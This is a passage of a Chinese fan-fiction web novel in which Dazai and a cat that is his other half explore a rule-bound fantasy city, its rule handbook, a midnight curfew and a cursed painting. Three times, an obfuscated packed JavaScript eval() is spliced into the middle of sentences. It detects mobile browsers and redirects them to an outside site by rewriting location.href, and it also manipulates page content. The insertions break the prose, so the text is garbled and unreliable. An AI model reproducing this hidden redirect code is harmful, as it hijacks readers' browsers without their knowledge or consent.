“我是新来的吟游诗人，现在暂时居住在城北面最大的‘波的旅店’中，您只需要到那里，提我的特征和我一起来的橘发爱人，您就能找到我了。” “作为咨询处的工作人员，当城内异邦游人求助时，你一定知晓如何精确找到城内需要帮助的人吧？毕竟我向您提出了完整的诉求。” 垂耳兔青年的目光明明灭灭，他仿佛经历了一点思想斗争，垂着头思考良久，才点头：“当然，先生。” 太宰治便礼貌地退后，压低自己的帽檐，向身后来时的路而去。 门口汩汩流淌泉水的人形喷泉还在原地。 夕阳已经完全垂落于地平线下，夜幕笼罩大地，赫尔城内点亮了烛火，门口张挂的花团锦簇的蜡烛为每个还在街道的人照亮方向。 太宰治凑近遥遥看了一眼围住这个石雕的石板上的文字，便向着来时的方向而去。 夜晚的赫尔城看起来热闹不减，此时此刻，白日摊贩们已经收摊了，取而代之的，是夜晚买些特色餐点的人。 道路上食物弥漫的香气充分激发了人们的食欲，使得摊位周遭围着的客人看起来比白日更加拥挤。 这些人穿着赫尔城常规居民的装束，围在各色摊位前进行购买，在夜色的掩盖下，太宰治只能看清他们递出去了什么东西，又拿回了想要的物品。 看来“免费”的确如驱车人所说，是对异邦游人的少数性规则。 太宰治借助旅店外墙上挂着的东西，从窗台外又翻了回去。 房间内的小黑猫略略睁眼，歪头看了一眼来人，又扭回头埋进中也的脖颈继续睡。 那副懒散不屑的样子简直令太宰治想把它拎起来拷打一番，但房间门在此时被敲响。 找小黑猫麻烦的计划被暂时搁置，太宰治不紧不慢从窗台走到门边，摘下自己的帽子，重新在单边眼睛上缠绕绷带。 等到拉开门时，他看起来就像从未离开过那样，和进门时一般无二了。 门后是服务生。 房门开启的同一时间，他扬起得体的微笑：“您好，先生，打扰了。” “我看您房间的蜡烛一直没有点亮，请问您需要帮助吗？” 其实夜晚赫尔城的任何一条街道都灯火通明，密密麻麻的花团中被点亮的白烛很好地向外界散步自己的光彩，使得即便太宰治暂住的这件房屋没有点亮烛火，也依然能靠着隔壁与窗台的余光在房内活动自如。 太宰治略略笑了笑：“十分感谢您，但我的爱人正在休息，我想还是不劳烦您了。” 服务生了然，向太宰治颔首，同时递出一小盒火柴和几根蜡烛：“那么，不打扰了先生。这是额外份的光源，此外，房间内的橱柜中还有三盏油灯，倘若有需要，您可以随意使用，添加燃料只需叫我们即可。” “床头有拉铃。” “十分周到的服务。”太宰治回身取过墙边挂着的小编织篮，递到服务生跟前几公分的位置。 服务生笑容依旧得体，只是看起来淡了些。 他将手里的东西放进篮子里，随后同太宰治道别。 走廊上这个衣裤装扮，被光打在地上照出笔挺男性身形的身影转身，向着更深处而去，敲响了下一扇房门。 太宰治看着这个尽职尽责为每名住客送上新燃料的服务生，合上房门：“原来换了一个啊。” 从始至终，这扇房门都仅仅开了一道人宽的距离，不过将将好能容纳太宰治，根本无法从外面看清房间内的情况。 篮子被随手挂回墙上，太宰治在床尾被反向的梳妆台边点亮烛火坐下，掏出怀里的“规则手册”，借着澄黄色的灯光慢慢翻阅。 薄薄的一份手册不过三张纸，正页翻开的背面用流畅的花体做了一个小小地介绍装饰。 【为了赫尔城的和谐，公民及外邦来客的友好体验，特设置赫尔城城邦规则（注：本规则仅用于日常生活及法律相关事件的整理，一式两份，各司其职，初版仅供各部分参考，一切解释权归终版所有，祝各位生活愉快）】 后面有一大段话被黑色墨迹擦掉，看不大清，紧随其后的，是附录的规则。 赫尔城旅者须知： 一、欢迎各位异邦旅人来到赫尔城，赫尔城是一个开放、包容的城市，城市居民及管理者有责任无条件答应并帮助各位在赫尔城中遇到麻烦的旅人。 赫尔城常规以七日为一结点。 赫尔城将在您入城的第一日发放10枚许可银币，银币可以为您带来更便捷的体验，请在午夜城堡钟楼敲响的第一声前前往咨询处二楼领取。 城禁将在午夜钟声后开始，希望各位亲爱的旅人不要在此时离开住所。街道上没有任何可供您体验的摊位。 倘若您不幸于城禁时在赫尔城街道上游荡，请尽量避开值守巡逻的盔甲骑兵，并尽可能快速抵达全天开放的场所，这里会给予您合适的庇护，直到黎明钟声响起。 二、赫尔城中有各种游玩、体验的场所，相信您一定会在这些场所获得不错的游玩体验。我们大力推荐城东的奇妙占卜屋与奇珍杂货店，城西的弗克书屋与安吉尔乐堂。 倘若您有兑换许可银币的需要，也可以前往城南的兑换所，这里将有专门的工作人员为您带来的东西进行估价兑换。 （以上介绍均为全天开放场所） 三、最佳住宿场所在城北的波的旅店，当然，您也可以支付一定兑换银币选择其它地方住宿，民宿体验也不错哦。 四、赫尔城内早晚分别有不同的摊位更迭，售卖不同货品，可供您随心体验。 五、倘若在城内遇到困难，请前往咨询处，咨询处门前有着神明刻像喷泉为您提供指引，咨询处一楼工作人员将为您解决困难。 六、为了您的旅行体验，请不要前往城中心城堡，赫尔城城堡仅用于赫尔城女皇侍奉秩序神明居住，永不对外开放，倘若您擅闯，我们只能遗憾对您进行驱逐。 七、您可以在特定节日在秩序神明的许可下，于休沐日（七日结算日）在指引下前往城中心教廷，当秩序完整时，神明总是包容且温柔的，您一定能在这里收获不一样的旅行体验。 …… 后面的两页纸张不知被什么东西死死粘贴住了，根本无法分开，只能通过厚度判断大约其间还有些什么。 手册是用纯正的羊皮纸制作的，泛黄的纸页最下方有一大段空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962291|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白，一行明显曾写上的话被从这段空白中撕去，只剩下零星的墨角印在纸张的边角。 这一页拢共只有7条简单的规则，部分内容同太宰治这一日的经历基本都能印证。 只有很少的一部分内容，因为未曾涉及，但在这一份薄薄的“规则手册”里被书写得十分详细。 太宰治拿出那颗被人强行赠送的苹果，在空中抛起、接住，随后放在桌上：“看起来，也不是这么没用。” 进入城中起，就没有人提起过“许可银币”的事情，搭车人临走前反复提及的，也只有城内七日筹办婚礼，通通免费的提醒，就仿佛根本不存在这么一条规则似的。 此时此刻，楼下街道里的赫尔城居民用于交换的东西自然而然浮出水面——许可银币。 即便是在城内轰轰烈烈筹办婚礼的时间段里，这种东西依然对赫尔城居民有着致命吸引力。 为此，他们趋之若鹜。 但很可惜，知道的时间太晚，拿不到了。 太宰治轻轻敲击桌面，略显遗憾。 墙上的白烛烧到尽头，床上的黑猫打了个哈欠，站起身，优雅地走到床头，后腿微屈，猛然发力，弹射到挂着的篮子边。 它用提溜的猫眼打量了篮子里的东西一番，精准地找到其中的蜡烛，略显纠结地用油光水滑的尾巴将起圈起来，纵身一跃到达快要熄灭的烛火边，将尾巴上的蜡烛点燃，插进烛台。 蜡烛稳稳当当立在其间，小黑猫甩了甩尾巴，没有一滴蜡油溅到那漂亮的毛发上。 它优雅地舔了舔自己爪子上的毛。 转身准备回到床上时，不小心和坐在梳妆台边的太宰治对上眼。 “喵！” 小黑猫不满地龇牙，抬起小爪子，在床头柜子上狠狠跺了两下。 轻巧的粉色爪垫只在柜子上敲出两声浅浅的碰撞音，风般轻柔，十分没有威慑力。 太宰治展颜一笑，十分不怀好意。 “好啦，现在该我来承担这个契约魔法了。” “今天是我出门找的大致信息，作为太宰猫猫，你也得为这个家做点什么对吧？” 黑发的绷带青年看起来十分无辜，说出驱使猫猫工作的话丝毫不感到羞愧。 那张脸令猫憎恶。 “既然你也是‘太宰治’的一部分，就去发挥你的特长吧，那些银币什么的，亮晶晶的一定会让小狗眼前一亮。” “你知道该怎么做的吧？” 不容小猫咪拒绝，太宰治从坐着的梳妆台前一步步走向黑色小猫咪，鸢红色竖瞳的绷带小猫弓起身体，尾巴上的毛炸得蓬松张扬。 邪恶太宰治伸出手，压制住小猫想要咬他的脖颈，咬破手指塞进猫咪嘴里，在它舌头上轻轻蹭了一下。 随着血液被可怜小猫吞下肚，它背上运转着的芒星图案一点点变淡，太宰治手上的黑色咒文又重新浮现。 “物归原主，你该工作了。” 这个黑发无情男人拆掉太宰猫猫身上的绷带，贱兮兮地拉长声音宣布结果。 他拎着黑色小猫地后脖颈，走到窗台边，在猫咪的怒目圆睁，不断扑腾四只小爪爪的动作下，笑眯眯地将自己的半身从二楼的旅店房间中扔了出去。 “记得要在午夜钟声敲响前回来哦——太宰猫猫。” 12. 神明遗迹（八） 黑猫在半空翻身，稳稳降落在地。 它喵喵直叫，骂骂咧咧地用尾巴拍击地面。 可惜楼上的男人对此不作反应，早已转身回到房间，任凭猫崽自生自灭。 黑夜沉沉地压下来，太宰猫猫龇牙吹了吹胡须，一双猫眼仔细观察街道景观后，迈着优雅的猫步，慢悠悠穿梭过人群，跃上最热闹一处摊位。 这是一家手作摊位，摊位主人工整地将水晶仿制的各种手作品按序排列。 因为包下了这附近一小片区域，甚至还在摊位附近放置了供客人体验的小桌板和小椅子。 摊位上最受欢迎的，是用水晶与缠丝勾勒的各种小动物模型、发夹首饰类的东西，吸引的绝大多数客人，都是些姑娘或孩子。 太宰猫猫借助摊位旁的一些木桩跃上售卖台，挑了个正巧卖掉饰品，空置的位置踩了上去。 它的身形小只而圆润，故作天真的样子看起来格外呆萌，更何况，它很清楚自己的优势，内里的壳子和那个将它无情抛出房间的“魔女”同出一源。 太宰猫猫伸出爪子拨弄身旁的一绺发带上的流苏，其上的水晶珠串被轻轻晃动，在四野的澄黄的光亮中折射出五色斑斓的闪光。 它的动作轻易吸引到周遭客人的视线，黑夜里突然蹦出一只不过成人巴掌大的猫崽，对发光晃动的东西好奇又小心。 它扬起自己圆润的小脑袋瓜，目光灼灼地跟随珠串摇晃，好不容易听到四周的客人难以掩饰的激动声音，摊主已经提前夹着声音，小心翼翼道：“哦，好可爱的咪咪呀。你是从哪里来的呀？怎么突然就出现了呢。” 摊主姑娘伸出纤细的手指轻轻在黑猫眼前指引，小心翼翼地试探着，想要摸它看起来就很顺滑的皮毛。 鸢色的圆润眼睛被声音所吸引，转换了自己注视的对象。 小黑猫轻轻地喵了一声，在那只手即将要触碰到自己的时候突然转身，灵巧地跳到身旁的架子上。 它轻轻晃动自己的小脑袋，在一旁架子上的假手心上若近若离地蹭了一下，好像是勾人心痒痒的招摇，一看就是很会俘获爱猫人士芳心的小妖精。 “喵呜——” 被刻意拉长的奶音不知道是对谁叫的，太宰猫猫扫视过在场者身影一圈，突然引起了姑娘们的尖叫：“啊！它好可爱！” “什么时候来的呀？咱们以前有见过它吗？” 小猫咪单纯又无辜，看起来什么都不知道哦。 身边正正递出银币的客人同样被这只半大的猫崽吸引，将手里的四枚银币小心翼翼放在一堆饰品中央，弯下腰，生怕惊扰了这只可爱的猫崽。 “宝贝从哪里来呀？是不是不小心迷路啦？” “有没有吃东西呀？饿不饿肚子呀？” 介于人类的本质总会对毛绒孩子施以强烈的爱护与好奇心，更何况这只外表上看起来就十分弱小精致的猫崽子一点都不畏惧生人，太宰猫猫成功用短短数分钟的“卖笑”俘获了在场绝大多数人的心。 它在这个完全陌生的地方鸠占鹊巢，反而在摊位上如同君主巡视领土一般，一边刻意避开伸过来想要触摸它皮毛的大胆刁民的手，一边叼起路过十分亮眼精致的，曾被他拨弄过的流苏发圈。 流苏的顶端被一个小巧的橘子装饰品压住，十分有利于小猫崽含在嘴里。 太宰猫猫昂首挺胸，慢悠悠晃到被放下四枚银币的空位前，粉红色肉垫的小爪子仔细地踩在琳琅的饰品空隙正中，以防止出现一些不必要的“损伤”事件，引起在场制作这些小东西的“主人”的不满。 看客们惊讶于它灵活的身手，对这团毛茸茸觊觎不已。 太宰猫猫最终停下了动作，放下被自己含在嘴里的小发圈于银币上，左顾右盼后，用爪子扒拉了一下一旁用于打包的饰品袋子，随后按在银币和发圈上，趾高气昂地抬头喵喵两声。 湿漉漉的眼珠子滴溜溜地转动，光亮外瞳仁放缩成圆圆的一团，看过来时就没了锐气。 它的尾巴在身后上飘下摇，随着自己的叫声轻轻在摊位上铺着的毛毡上扫除一条浅浅的纹路。 被蛊惑的摊主姑娘在小猫咪的注视下突然捂着脸，难以置信：“我吗？” 黑猫好似回应一般点头，又“喵呜”了一声，尾音像一把小钩子，钩到了摊主姑娘的心里。 摊主姑娘上前，想要将猫崽抱起来时，黑猫却突然后缩退步，躲开伸过来的手，而后将自己压着的银币和发圈向她的方向推了推，又扒拉饰品袋子。 “你的意思是想让我把这些东西装进这个口袋吗？”摊主姑娘细致地观察了一下猫崽的动作，恍然大悟。 黑猫伸出粉嫩的舌头舔了一下爪爪上的毛毛，咪咪了一声。 小猫不知道哦，小猫只是好奇这些东西。 被这“无意”的动作撩到的摊主姑娘心灵如遭暴击，将自己的声音尽可能更温柔一些：“好聪明的猫猫呀，姐姐爱死你了，你也知道银币是个好东西对吧？” “银灿灿的好东西配上可爱十足的小猫咪，哎呀，真是最适合啦！” 得到小猫咪的卖萌三连，摊主姑娘麻利地将太宰猫猫指定的东西用精致的打包袋装了起来。 “咪咪的爱意值看起来好高呀，秩序之神在上，这么可爱的咪咪是要被人类抓起来关在家里的！” “你的主人居然舍得把这么可爱的小猫咪放出来呢。” 摊主姑娘的动作很快，但也不妨碍她小声逗弄小黑猫，最后将打包完毕的东西在太宰猫猫的眼前晃了一下。 “看，是不是放的非常好？一点都不会露出来哦。” 绳索挂在手指上，使得下方不过半个掌心大的打包袋像摆针在太宰猫猫面前来回摇晃，使得猫儿的双眼瞳孔紧缩。 随着一声轻轻的呼声，太宰猫猫一跃而起，将面前的打包袋以肉眼难以捕捉的速度从摊主姑娘手指上叼了下来，而后稳稳落回原地。 “哎——” 摊主姑娘发出意想不到的惊叹，四周看热闹的客人们叫好地鼓起掌。 太宰猫猫再度仔细打量了一下眼前的摊主姑娘，在四周炯炯的目光中主动迈步上前，安抚般勉为其难用尾巴勾了勾摊主姑娘的裹在工作围衣中的手腕上部一截。 “啊——它好可爱！它主动贴我了！”摊主姑娘发出尖锐的声音，将太宰猫猫吓了一跳。 惊喜冲昏了头脑，摊主姑娘连做夹子这么重要的事情都忘记了。 她略感抱歉地双手合十，向眼前这只身形明显一僵，尾巴尖端黑色毛发炸开小部分的猫崽子略略弯腰，眼里的狂热不似作假：“咪咪有主人吗？想不想和我回家啊？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962292|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 太宰猫猫微微侧过脑袋，紧紧衔着打包袋的嘴巴没有发出任何声音。 就在万众瞩目里，姑娘试探地伸出手，想要将猫崽子抱起来。 太宰猫猫在一瞬间突然将自己折成一个球，而后如同炮弹发射，窜下了摊位。 很遗憾，这显然是一只负心的大盗猫猫，用美色在摊主姑娘面前博取好感后，叼着原本属于摊主姑娘的银币和一件手作，头也不回地离开了。 至少它留下了一点主动贴贴作为交换。 摊主姑娘瞠目结舌，看着小黑猫在脱离摊位这一段的光亮后迅速融入黑色消失不见。 她提着自己的裙摆跑了两步，却发现那团小小的身影早不知道跑到哪里去了。 围观的客人不约而同发出一种堪称遗憾的声音。 摊主姑娘耸肩摊手，眼里的狂热还没有消退：“啊，好可惜啊。爱意和生机真是最好的交易材料——” “秩序之神在上，服从规则。” 她恬静地偏过头，双手贴在胸口，整个人用这样堪称古怪的姿势站了好几秒后，突然嘴角弧度上抬好几分：“没关系，规则会帮助我们重逢，可爱的小客人。” 喃喃自语的尾声里，摊主姑娘转身，而同一时刻，整条街道上的所有人突然统一地开始收拾自己身前的一切东西。 摊贩们将自己所获的银币、交易的货品抹进黑暗，客人们向着各个方向，如潮水般退去。 倘若从高空向下俯视，一定能看见密密麻麻的黑影蠕动的模样。 紧迫与危机感悄无声息笼罩了太宰猫猫。 它叼着嘴里的打包口袋，在突然流动的人群里狂奔。 太宰猫猫原本跳下摊位，藏进黑暗的一瞬间还在慢不迭地甩着自己的尾巴，颇感嫌弃地左右晃动，计划着找个地方好好处理一下自己的毛毛。 但一切的计划都被突然涌上来的不安挥散了。 街道、集市上原本的喧嚣嘈杂消失不见，取而代之的，是周遭摊主开始默默收拾摊位，客人向着自己方向离开的动作发出的浅淡声响。 这些动作原本并没有什么怪异之处，但他们的行动却宛如设计好的一般，在同一时刻同步进行了。 混杂在一起，就激发出完全不可思议的古怪感觉。 即便太宰治和太宰猫猫两个再如何不愿承认，他们也的的确确同出本源，来自“太宰治”。 他们共享对方的记忆，在愿意的时候，甚至能看见对方此时此刻的所看见的东西。 在精神思考方面是无法抹去的同步、同频。 而面对眼前的异动，太宰猫猫能想到的只有那本，被太宰治带回来，不知道有什么用的赫尔城规则手册上的提示： 【城禁将在午夜钟声后开始，希望各位亲爱的旅人不要在此时离开住所。街道上没有任何可供您体验的摊位。】 猫算是旅者么？ 谁知道呢，但作为“太宰治”这个个体的半身，当它出现在这个堪称奇怪的地方，听见“摊主姑娘”诡异的发言时，主动离开，逃入夜色会是一件再合理不过的选择。 毕竟，它从不是真正的太宰治本体，没办法用出那些魔法。 黑猫在客人们抬起又放下的腿间穿梭，逆流而上，向着不远处点亮了橙色光芒的“波的旅店”房间而去。 13. 神明遗迹（九） 午夜的魔法时在身后紧追不舍，当旅店在黑猫眼中不过咫尺之遥时，夜幕空旷里，突然传来悠扬的钟响。 “铛、铛、铛——”急促的两声之后，是一段长达数秒的金属长鸣。 钟声尾声回响之后，四周的一切突然诡异地静止了。 随后，是第二次敲击。 猫儿根本不敢为此停下脚步。 事实上，它方才所经过的那段路已经面目全非。 第二段敲击结束，猫崽的身后似乎跟上了一些奇怪的东西。 “好香呀——”好似许多声音重叠在一起的诡异音调遥遥飘来，一瞬间，危险感蔓延至巅峰。 钟声回响，紧随其后的，是第三次敲击音。 正前方的房间外栏垂落下一根缠绕着黑色条带的木棍，黑猫当即顺杆而上，爪子稳稳钩住每一绺绸缎，不过呼吸便到达旅店二楼。 腕部缠绕着绷带的手在太宰猫猫从杆尽头露头的瞬间拎住它的后脖颈，同时将立于外栏的杆推倒，闪身进入房间内部，闭拢窗户、拉紧窗帘。 第三段敲击音随之停止。 太宰治望出去的最后一眼，钟声停止的同一时刻，街道之上被笼罩着一层迷雾。 血月高悬于天。 太宰治取下小黑猫嘴里叼着的口袋，将用完的猫猫随手扔在地上。 太宰猫猫已经熟知这黑心魔女的坏德行，自己努力向着床上跳跃。 它带回来装着银币与发绳的打包袋因为长时间含在嘴中，边缘的那一块已经被浸湿。 太宰治撇嘴，小心地捏住干燥的部分，用不知从哪里找的细细的棍子将袋口挑开，随即将里面的东西抖落在床单上。 四枚银币，一根橘子流苏发圈。 太宰治将发圈捡起来，用橙色水晶雕刻的小橘子在光影扑朔间折射出七色的光。 他似笑非笑，语调莫名阴阳怪气：“你还挺闲，带个装饰品回来。” 小黑猫只是懒散地趴在床边，甚至连个眼神都吝啬给予。 太宰治将发圈随手放在桌面上，随后捡起银币，将其中一枚抛在空中、接住，而后换一枚重复动作。 银币坠落时同掌心的其余几枚发生碰撞，产生清脆的音响。 这些被称作“许可银币”的圆片，其实同日常所能见到的银质货币并没有什么太大的区别，只是每一面上固定的，会被不同发行国度用不同图案做以标记的区别罢了。 银币的一面是曾见过的，在喷泉附近雕刻的天平模样；另一面，被人们用简单文字加以标记，概述“秩序”二字。 可能唯一的区别，就是它比同样大小的银片要重上半分。 太宰治懒懒靠坐在梳妆台边的椅子上，单腿脚腕搭在另一方膝盖上。 银币不断被抛起、接住，清脆的声音规律而富有节奏。 在某一声结束之时，太宰治手腕边的画框突然剧烈抖动起来。 室内的白烛光随着画框的抖动明灭，太宰治抛起银币的动作凝滞，眨眼将银币单手塞入袖间，面带笑意起身，走向放置着油灯的橱柜。 在画框的剧烈抖动中，他将其中一盏油灯取出，回身凑到白烛边，用烛火点燃。 “啊——这下很难用歪风吹灭了呢，好可惜。” 黑发绷带的魔女不知是否是无意，恰恰回到桌边，将手里的油灯放置在不断抖动的油画边，随后将手里的银币在桌沿立起，微微发力，小巧的银币就开始剧烈旋转，直至从桌沿坠落到太宰治的掌心。 这一次发出的声音比以往都要剧烈，油画猛地抽动一瞬，随后便静止了。 粘稠的黑红色液体从画框中渗出，却莫名绕开那盏油灯，直至到桌沿边，太宰治突然伸手，将油灯的亮度调至最高，将整个画框笼罩在其间。 弥漫的黑红色液体悉数消失不见。 在极其明亮的环境下，画框背后那段突出的印记格外显眼。 那串印记看起来怪异而歪曲，找不到任何已知的事物与之匹配。 但离开前，太宰治是从梳妆镜中看见的油画背面那串印记。 镜像里，那一行略显模糊的印记被照出了原本的模样—— 【赏画规则：每一副被展览的画作都倾尽了画家的心血，作为回报，我们需要为之献上足够的尊重，特设置赏画规则，希望每位欣赏的客人与之共勉。】 一、每位欣赏的客人都必须对赫尔城的画作抱有珍惜与尊重，不得以任何形式损毁画作。 二、赫尔城中展览的画作必须倾尽画家心血，配上特制画框，成为赫尔城的珍宝。 三、欣赏画作必须在光线充足的地方。 四、我们坚信，每幅画作都拥有灵魂，这值得我们每个人静下来体验其中的韵味。 五、请不要将画作随意放置，也不要将不同的画作相对摆放，以免引起混乱。 【愿你我都能有良好的赏画体验。】 中规中矩的一段词，倘若不是“引起混乱”一词显得过于突兀，太宰治大约真的会选择性忽视它。 但奈何这段小小的规则词中，明确提出了“安静”与“光线”，再配合上“心血”与“灵魂”，在遗迹之中，总是会处处令人在意。 在入城后的规则手册之中，明确提出了不建议午夜钟鸣后外出，放在一份总的规则要求之中，表象上看，是因为这段时间属于赫尔城的“城禁”时间，但太宰治却清楚地看见，方才太宰猫猫与午夜钟鸣之后奔跑过的那段路上发生了一些诡异的变化。 与雾气一同弥漫的，还有先一步的黑红色液体。腐朽的气味似乎是从城中心的位置无限蔓延开，原有的建筑似乎有一部分在触及那些黑红色液体的同时，崩塌溶解。 奇怪的声音，人们在钟响之前便迫切想要离开街道，一切的一切，好像都在昭示着赫尔城的“特殊性”。 倘若进入这里的人真的因为最初的和平与人们的热情而麻痹，沉溺其中，恐怕会在第一夜就陷入不得了的麻烦之中。 画作之上所镌刻的“规则”，倘若顺势读下来，就能发现其中和现实相悖的不合理之处。 赫尔城展出的画作是每位画家倾尽心血所作，以特制画框装裱而成的“珍品”，这样的“珍品”却被挂在旅人休息的住宿走廊之中，用仅仅能够照亮道路的烛火所供养着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962293|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它在其间告知，欣赏画作必须在光线充足的地方，但这些画作所处的空间却显然不满足这一要点。 更何况，这副画作在被取下来之后，可以在墙上看见另一道更小一圈的画框印记。 这恰恰证明了这座“波的旅店”每过一段时间会更换这些“珍品”。 从价值到欣赏要求而言，这和欣赏画作的规则都不对等，那么这些规则是否有可信度就是存疑的。 它或许只是一种建议，但太宰治却愿意为此多设想一层——在看见这些画作的第一眼里，他明确感受到了魔法元素中有关“生命”的微弱波动。 为此，他愿意相信，这些规则的确存在，但它的适用对象，却是在特定时间被认作是“观赏客人”的人。 这些画作被倾尽心血，与之对应的，是那些作画者的“生命力”。 特制的画框是用以拘束这些“生命力”的必要品。 “光线充足”作为一条使用性建议，只能用试验去证明它的作用。 第四条规则，除了在告知“安静”的使用条件外，还作证了前述画作具有“生命力”的定义。 而最后一条，在满足它的要求同时，太宰治还钻了一点空子，将两幅“同样的画”相对放置。 这些规则除了与它的现实处境相背离外，自身逻辑融洽，彼此相互映照，比起真假参半，太宰治更愿意去设定它的真实性。 而最终，在午夜钟声之后，伴随城内的“更替”变化——这一切促使了太宰治十分有雅致地坐在梳妆台前，开始验证这份“赏画规则”—— 结果不出所料，弥漫的黑红色液体，仅仅从质地与外观上来看，同赫尔城钟声之后的场景异曲同工。 在此之前，太宰治无法确定，午夜之后，改变的究竟是赫尔城外面，还是全部，毕竟规则手册对此书写得模棱两可。 但这一场小小的“试验”向他揭示了这个答案——午夜是一个更替的契机，祥和之后的危机会在它之后小小地，暂时露出獠牙。 相悖的处境与赫尔城内被人们并不主动提及的“规则手册”与银币则使得太宰治为此多一分警惕。 他从来不吝啬于以最大的恶意去揣测周遭发生的一切。 或者说，从带着中也进入到这里的那一刻起，太宰治的警惕心就再也没有停止工作。 他近乎冷漠而机械性地寻找到了这些“规则”，并快速利用其中的内容，为自己谋取生存利益。 “我真是个称职的主人呢。”黑发青年双手轻轻拍击，随即用一块白布遮盖在画框和镜面之间。 黑猫不满地“喵”了一声，它还在为自己被拆掉后，不知道在哪儿的绷带而耿耿于怀。 至于被太宰治扔出去试错加寻找“物资”——没有太宰治能拒绝在死亡的边缘走钢丝的带来的迷幻刺激。 太宰治冷笑着将猫头柔顺的发丝倒刮以示报复，成功收获了来自猫儿一圈牙印的反击。 他们之间无声的硝烟最终以两位“太宰”一人一猫各自霸占了中也一方位置而休止。 黎明钟声两短一长，太宰治暂住的旅店房间门被敲响。 14. 神明遗迹（十）（50收加更） 门外是和昨日一般无二的垂耳兔青年。 太宰治眼睛中毫无睡意，双手环抱于胸，倚靠在门扉上。 “您好，先生，应您的要求，在下前来为您进行疑问的解答。”垂耳兔青年单手扶肩，微微躬身，语调平静：“请问您有什么需要帮助的吗？” 太宰治的目光在垂耳兔青年的身上几个来回，因为刚从床上起来，略长的头发还稍显得蓬乱。 他的右眼上缠绕着绷带，左眼被发丝挡掉一般，整个人看起来就像是一条颓废的，散发着咸湿气味的摆烂青花鱼。 太宰治微微侧身，点头致意：“当然，我的疑问相当丰富，其中就包括现在的居住地。请进。” 垂耳兔青年在门口踌躇不前，看起来十分挣扎。 “先生，有关居住的问题，在下认为，您是否应当先找寻旅店负责人？相信他们会为您提供更加完善的解决方案。” 太宰治食指微微敲击肘关节：“是么？可惜，我的问题似乎不只是关于旅店的住宿。我不善言辞，实在无法就这样站在这里和您进行描述。 我想还是需要您主动进入房间，我才能更好地向您展示我遇到的麻烦。” “真是糟糕透了，作为赫尔城的旅客，我想我有权利向您这样的管理者提出质疑吧？” “向旅客提出的问题进行无条件解答，我想，这是作为赫尔城管理者的责任吧。” 【赫尔城规则手册第一条：赫尔城是一个开放、包容的城市，城市居民及管理者有责任无条件答应并帮助各位在赫尔城中遇到麻烦的旅人。】 夜间被太宰治熟读的第一条规则应声生效，门口举棋不定的垂耳兔青年在几番挣扎之后，突然僵硬地抬起腿，如同被操控的木偶一般，跨过旅店房间的门槛。 太宰治随之倾身改变方向，为垂耳兔青年让出足够通过的距离。 僵硬的两个大步，而垂耳兔青年的双手仍旧死死贴着自己的裤缝。 他的上半身还保持着一个近乎完美，相当礼貌的站立姿势，而前腿抬起，将关节拉伸到极限之后又猛地放下。 以至于当他完全进入到太宰治所居住的房间时，垂耳兔青年还无法妥善地控制自己的身体，后仰的头颅和身体几乎成了九十度。 但他的柔韧度和反应力显然还不错，贴在裤子上的双手很快抓住门扉，而后将自己整个人，从一个快要栽倒在门槛上的别扭姿态稳稳当当地恢复原状。 身后的门被太宰治拉上。 房间内紧闭的窗帘还没有被拉开。 整个屋子内部没有丝毫外界自然光的照耀，唯独只有不断燃烧的白烛，和太宰治昨夜点燃的油灯还在幽幽地散发着光。 这样完全密闭的场景之下，房间内的垂耳兔青年回头，机械而僵硬地询问：“先生，请问您有什——么关于赫——尔城的疑——问——呢？” 他发出的声音在一些奇怪的地方进行了拉长与卡顿，整个人如同生了锈的发条一般，一字一句，使得听众得花上成倍的精力才能将他的语言进行一个转换。 古怪的垂耳兔青年看起来就像是一台快要报废掉的机器，被推动着，一点一点地进行着对赫尔城旅客的服务。 太宰治优雅地从空中抓取出自己的魔法扫帚，尾端的湛蓝色魔法水晶在烛光下闪烁着刺眼的光芒。 绷带青年还是一如既往的腔调，作秀般地划出一个语气起伏剧烈的询问：“啊，我感到非常地疑惑啊，赫尔城管理者的选拔标准究竟是什么呢？为什么你们给予我的手册没办法翻开第二页呢？” “还有，劳烦你伸出右手。” 太宰治自水晶之中取出一柄黄金握柄的匕首，缓步上前，在垂耳兔青年面前站定。 他看起来温和而无害，倘若不是说出来的话用着夸张而近乎病态的腔调，整个人简直算得上是一个可怜的，陷入迷茫的旅人。 垂耳兔青年在这一番问讯中突然顿挫般歪了一下头。 他很努力想要维持基本的交流姿态，以求能达到对客人的完美服务。 但奈何这一切的动作对于此刻的他而言好像有着莫大的难度，使得垂耳兔青年最后只能偏着头，以耳朵快要贴近肩膀的姿势对太宰治提出的疑问进行回复：“很抱歉，先生。” “在下似乎对您的回应方式产生了违背工作手册的要求，但在下认为，在下应当继续对您提出的问题进行合理的回复。” 